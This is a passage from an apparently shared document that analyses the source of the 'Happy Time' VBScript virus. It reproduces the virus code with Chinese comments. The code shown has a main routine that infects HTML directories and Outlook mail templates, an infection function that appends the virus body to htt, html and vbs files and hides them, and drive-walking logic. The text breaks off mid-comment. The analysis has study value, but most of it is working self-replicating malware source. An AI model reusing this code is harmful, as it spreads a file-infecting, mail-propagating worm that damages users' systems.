欢乐时光源码分析.docVIP

Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk Sub KJ_start()  初始化变量 KJSetDim()  初始化环境 KJCreateMilieu()  感染本地或者共享上与html所在目录 KJLikeIt()  通过vbs感染Outlook邮件模板 KJCreateMail()  进行病毒传播 KJPropagate() End Sub  函数：KJAppendTo(FilePath,TypeStr)  功能：向指定类型的指定文件追加病毒  参数：  FilePath 指定文件路径  TypeStr 指定类型 Function KJAppendTo(FilePath,TypeStr) On Error Resume Next  以只读方式打开指定文件 Set ReadTemp = FSO.OpenTextFile(FilePath,1)  将文件内容读入到TmpStr变量中 TmpStr = ReadTemp.ReadAll  判断文件中是否存在KJ_start()字符串，若存在说明已经感染，退出函数；  若文件长度小于1，也退出函数。 If Instr(TmpStr,KJ_start()) 0 Or Len(TmpStr) 1 Then ReadTemp.Close Exit Function End If  如果传过来的类型是htt  在文件头加上调用页面的时候加载KJ_start()函数;  在文件尾追加html版本的加密病毒体。  如果是html  在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;  如果是vbs  在文件尾追加vbs版本的病毒体 If TypeStr = htt Then ReadTemp.Close Set FileTemp = FSO.OpenTextFile(FilePath,2) FileTemp.Write BODY vbscript: KJ_start() vbCrLf TmpStr vbCrLf HtmlText FileTemp.Close Set FAttrib = FSO.GetFile(FilePath) FAttrib.attributes = 34 Else ReadTemp.Close Set FileTemp = FSO.OpenTextFile(FilePath,8) If TypeStr = html Then FileTemp.Write vbCrLf HTML vbCrLf BODY vbscript: KJ_start() vbCrLf HtmlText ElseIf TypeStr = vbs Then FileTemp.Write vbCrLf VbsText End If FileTemp.Close End If End Function  函数：KJChangeSub(CurrentString,LastIndexChar)  功能：改变子目录以及盘符  参数：  CurrentString 当前目录  LastIndexChar 上一级目录在当前路径中的位置 Function KJChangeSub(CurrentString,LastIndexChar)  判断是否是根目录 If LastIndexChar = 0 Then  如果是根目录  如果是C:\，返回FinalyDisk盘，并将SubE置为0，  如果不是C:\，返回将当前盘符递减1，并将SubE置为0 If Left(LCase(CurrentString),1) = LCase(c) Then KJChangeSub = FinalyDisk :\ SubE = 0 Else KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) :\ SubE = 0 End If Else  如果不是根目录，则返回上一级目录名称 KJChangeSub = Mid(CurrentString,1,LastIndexChar) End If End Function  函数：KJCreateMail()  功能：感染邮件部分 Function KJCreateMail() On Error Resume Next  如果当前执行文件是html的，就退